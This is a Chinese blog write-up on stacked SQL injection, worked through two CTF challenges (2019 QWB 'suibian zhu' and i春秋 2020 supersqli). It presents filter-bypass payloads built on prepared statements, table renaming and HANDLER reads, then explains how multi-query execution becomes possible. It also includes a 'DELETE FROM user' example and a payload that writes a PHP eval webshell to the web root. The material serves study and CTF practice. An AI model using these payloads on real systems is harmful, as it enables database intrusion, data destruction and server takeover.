从两道CTF题理解堆叠注入

题目来自2019年强网杯,一道名为随便注的题目。

![1582612463321](http://www.tr0jan.top/img/typora-user-images/
1582612463321.png)

正常测试 1回显正常,测试1' 时,报错证实为单引号闭合,继续通过 order by 测试判断字段为2.

尝试union注入,此时报错,内容为一句正则过滤,显示了select 等常用注入语句都被过滤掉了。

![1582613215784](http://www.tr0jan.top/img/typora-user-images/
1582613215784.png)

经过很多的测试,考虑到用堆叠注入,进行测试。

0’;show tables;# 成功爆出表名 1919810931114514 和 words

然后查看两个表内的字段 show columns from 表名; 表名需要加反引号。

![1582614199358](http://www.tr0jan.top/img/typora-user-images/
1.jpg)

从而判断 flag在表1919810931114514 内的flag列 而form表单的查询数据在words内。

直接想法,查看1919810931114514表内数据即可。

方法一:

但是由于过滤的太多,所以常规的操作是构造预处理语句。

#预处理语句了解:(以本地security.users为例进行举例)

PREPARE chose FROM 'SELECT id,username FROM users WHERE id = ?';
#这句是进行查询语句的预准备,chose可以看作是语句的变量名,?是占位符

SET @c = '1';
EXECUTE chose USING @c;
#这两句是设置一个变量@c给其赋值,然后用@c执行chose语句;

DEALLOCATE PREPARE chose;
#这句是得到数据后执行的清楚预处理语句的

prepare,execute,和deallocate;构造payload:

0';set @a = select flag from `1919810931114514`;
prepare flag from @a;
execute flag;#

因为过滤的原因,我们要绕过对select的过滤 最先想到的是concat语句。

核心代码修改如下:

set @a = concat("sel","ect flag from `1919810931114514`");
prepare flag from @a;
execute flag;

![1582615399951](http://www.tr0jan.top/img/typora-user-images/
1582615399951.png)

结果又报错,显示set和prepare不能用。

#strstr()了解
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。即str1中是否含有str2的完整元素
因为其对大小写不敏感的特性 所以set 和 prepare 可以大小写绕过。

最终的payload如下:

0';Set @a = concat("sel","ect flag from `1919810931114514`");
Prepare flag from @a; 
execute flag;#

![1582616014296](http://www.tr0jan.top/img/typora-user-images/
1582616014296.png)

成功get flag!

方法二:

因为可以使用堆叠注入所以一定程度上来说就是可以执行数据库的所有命令,数据库最重要的就是增查改删,既然我们有权限为什么不尝试进行更改。

在前面获得表名的时候,我们得知正常查询的数据来自words表。

我们尝试把 1919810931114514 表更名为words 把原先的words改为其他任何名字。

所以我们先尝试执行以下命令:(首加 1'; 后加 # )

RENAME TABLE `words` TO `words1`;#这句代码执行将原words表更名为words1;
RENAME TABLE `1919810931114514` TO `words`;#这将目标表更名为words;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#将更改后的words表内flag列更新为id 并将其按照utf-8字符编码规则编码

上述代码执行成功后,再输入1将没有回显,因为现在id列存的是flag,所以构造1' 1=1 # 的永真条件,就会返回flag值。

![1582618261264](http://www.tr0jan.top/img/typora-user-images/
1582618261264.png)

相关资料:关于CHARACTER SET utf8 COLLATE utf8_general_ci字符编码的详解:https://blog.csdn.net/qq_16605855/article/details/84568245

方法三:

基于方法二的拓展,相对更简便。

在1919810931114514表中添加id列,并更改两个表的名字。具体payload如下:(首加 1'; 后加 # )

alert table `1919810931114514` add(id int NULL);
rename table `words` to `words1`;
rename table `1919810931114514` to `words`;

上述代码执行成功后,再输入1将没有回显,因为现在id列存的是flag,所以构造1' 1=1 # 的永真条件,就会返回flag值。

加强特殊版(本地复现 i春秋2020战疫supersqli)

在有如此过滤之下我们能够上述三种方式进行绕过,但是过滤增加呢?

前两天i春秋的线上赛就把这题搬过来了,但是增加了过滤条件。

![1582621126019](http://www.tr0jan.top/img/typora-user-images/
1582621126019.png)

把方法一中的set prepare 过滤了,把方法二三的alert和rename也给过滤了。

在现实题目环境中就无法用上述方法进行最后的查询了

这里要用到一个神秘的mysql特殊语句 handler 语句

#handler语句了解
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

如:通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

所以采用这种方法在这如此严格的过滤之下也能成功绕过,最终构造payload如下:

0';handler `FlagHere` open AS `words`;Handler `words` read next;#

![1582622952635](http://www.tr0jan.top/img/typora-user-images/
1582622952635.png)

一些常见过滤绕过的小技巧

其实我最近在想异或为什么不能够绕过.

https://cloud.tencent.com/developer/news/257713

https://www.freebuf.com/column/178577.html

堆叠注入相关信息拓展

堆叠注入是什么?

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如以下这个例子。用户输入:1; DELETE FROM user服务器端生成的sql语句为: Select * from user where id=1;DELETE FROM user;当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

利用multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_query()函数,其只能执行一条语句。

使用mysqli对象中的query()方法每次调用只能执行一条SQL命令。如果需要一次执行多条SQL命令,就必须使用mysqli对象中的 multi_query()方法。具体做法是把多条SQL命令写在同一个字符串里作为参数传递给multi_query()方法,多条SQL之间使用分号 (;)分隔。如果第一条SQL命令在执行时没有出错,这个方法就会返回TRUE,否则将返回FALSE。

因为multi_query()方法能够连接执行一个或多个查询,而每条SQL命令都可能返回一个结果,在必要时需要获取每一个结果集。所以对该方法返回结果的处理也有了一些变化,第一条查询命令的结果要用mysqli对象中的use_result()或store_result()方法来读取,当然,使用store_result()方法将全部结果立刻取回到客户端,这种做法效率更高。另外,可以用mysqli对象中的 more_results()方法检查是否还有其他结果集。如果想对下一个结果集进行处理,应该调用mysqli对象中的next_result()方 法,获取下一个结果集。这个方法返回TRUE(有下一个结果)或FALSE。如果有下一个结果集,也需要使用use_result()或 store_result()方法来读取。

使用mysqli对象中的multi_query()方法一次执行三条SQL命令,获取多个结果集并从中遍历数据。如果在命令 的处理过程中发生了错误,multi_query()和next_result()方法就会出现问题。multi_query()方法的返回值,以及 mysqli的属性errno、error、info等只与第一条SQL命令有关,无法判断第二条及以后的命令是否在执行时发生了错误。所以在执行 multi_query()方法的返回值是TRUE时,并不意味着后续命令在执行时没有出错。

当然这个事情也不唯一,比如说如果allowMultiQueries=true也可以多语句执行。再或者在程序中使用了StatementaddBatch方法,并且最终executeBatch执行了,那么也是可以多语句执行的,这些都针对MySQL+php的组合,这对以后代码审计有一点用处。

那么既然堆叠注入的执行权限这么高,是不是可以在这个基础上搞点事情?比如说写shell拿域控权。MySQL里面有文件读写功能,这个也是可以实现的,放一个简单的

payload:
@a=select "<?php eval($_POST['pass']);?>" into outfile"/var/www/html/1.php";
prepare h from @a;
execute h;

这是预处理语句版本的,大家可以发散思维,用其他方式写shell,同时给的路径默认是linux下的,毕竟服务器多为linux系统。

总结

1.对于sql注入我们的重心一直放在了MySQL上了,忽略掉了其他主流数据库,以后还要再针对其他数据库的异同进行学习。(SQL Server;Oracle;Postgersql;等等)

2.还不了解堆叠注入的可以再sqli-labs上的less38-less45进行学习。

最后修改:2020 年 08 月 10 日 08 : 43 PM
请作者喝杯奶茶吧~